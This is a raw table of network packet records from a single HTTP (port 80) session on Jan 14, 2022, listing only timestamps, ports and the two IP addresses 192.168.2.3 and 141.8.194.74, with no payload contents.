Jan 14, 2022 01:52:07.544589043 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544629097 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544665098 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544673920 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.544707060 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.544727087 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544764996 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544804096 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544811010 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.544838905 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544878006 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544914007 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544924021 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.544950008 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544954062 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.544987917 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.545025110 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.545044899 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.545062065 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.545100927 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.545135975 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.545146942 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.545173883 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.545176983 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.545212030 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.545278072 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.572997093 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573052883 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573091030 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573131084 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573132038 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.573170900 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573209047 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573249102 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573255062 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.573266029 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.573290110 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573327065 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573349953 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.573367119 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573406935 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573446989 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573451996 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.573488951 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573527098 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573558092 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.573566914 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573570967 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.573605061 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573642015 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573666096 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.573679924 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573717117 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573738098 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.573755980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573795080 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573831081 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573847055 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.573879004 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.573894024 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573934078 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.573971987 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574008942 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574028969 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.574047089 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574070930 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.574085951 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574125051 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574136972 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.574163914 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574199915 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574213028 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.574238062 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574276924 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574312925 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574326992 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.574348927 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.574350119 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574388981 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574425936 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574440002 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.574465990 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574501038 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574516058 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.574538946 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574577093 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574598074 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.574613094 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574651003 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574687958 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574701071 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.574726105 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574729919 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.574765921 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574804068 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574829102 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.574841022 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574879885 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574915886 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574938059 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.574954033 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.574959993 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.574991941 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575030088 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575067997 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575079918 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.575104952 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575117111 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.575141907 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575180054 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575216055 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575232029 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.575253963 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575258017 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.575293064 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575330973 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575346947 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.575370073 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575406075 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575443983 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575457096 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.575480938 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575485945 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.575517893 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575555086 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575567961 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.575592995 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575630903 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575651884 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.575670004 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575706005 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575716972 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.575752020 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.575803995 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.620073080 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620124102 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620163918 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620196104 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.620204926 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620244980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620287895 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620301008 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.620325089 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620363951 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620378017 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.620404005 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620429039 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.620440960 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620480061 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620501995 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.620517969 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620558023 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620570898 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.620596886 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620635033 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620672941 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620685101 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.620711088 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620719910 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.620748043 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620789051 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620796919 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.620826960 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620866060 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620894909 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.620906115 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620942116 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620979071 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.620991945 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.621016979 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.621030092 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.621052980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.621092081 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.621104002 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.621129036 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.621166945 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.621176004 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.621207952 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.621243954 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.621268034 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.621284008 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.621321917 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.621356964 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.621370077 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.621395111 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.621407986 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.621433020 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.621484995 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.650707960 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.650764942 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.650804996 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.650847912 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.650871992 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.650887012 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.650893927 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.650928020 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.650969028 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651005983 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651012897 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.651046991 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.651051044 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651088953 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651128054 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651134014 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.651168108 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651205063 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651212931 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.651243925 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651285887 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651320934 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651331902 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.651360035 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651365042 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.651397943 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651437044 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651444912 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.651475906 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651514053 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651521921 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.651552916 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651592016 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651597023 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.651628017 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651684046 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651721001 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651736021 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.651757002 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651762009 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.651797056 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651834965 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651874065 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651880980 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.651912928 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651949883 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651961088 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.651988029 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.651990891 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.652025938 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652061939 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652072906 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.652101040 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652137041 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652143002 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.652174950 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652215004 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652251005 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652262926 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.652292013 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652328968 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652337074 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.652367115 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652376890 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.652405024 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652441978 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652481079 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652493000 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.652520895 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652528048 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.652556896 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652595997 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652602911 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.652633905 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652671099 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652686119 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.652709961 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652748108 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652759075 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.652786016 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652825117 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652841091 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.652862072 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652899981 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652939081 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652946949 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.652976036 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.652981043 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.653013945 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653050900 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653084993 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.653090000 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653130054 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653143883 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.653166056 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653203964 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653238058 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.653242111 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653280020 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653302908 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.653317928 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653354883 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653364897 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.653393030 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653431892 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653467894 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653477907 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.653506041 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653517008 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.653543949 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.653588057 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.667171001 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.696337938 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696403980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696445942 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696485043 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696506977 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.696523905 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696547985 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.696563005 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696602106 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696609020 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.696643114 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696682930 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696687937 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.696718931 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696758032 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696795940 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696809053 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.696832895 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696871042 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696878910 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.696908951 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696914911 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.696947098 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696985960 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.696997881 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.697021008 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697058916 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697067022 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.697098970 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697134972 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697173119 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697180986 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.697211027 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697268009 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697283983 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.697309971 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697343111 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.697345972 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697387934 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697417021 CET	49922	80	192.168.2.3	141.8.194.74
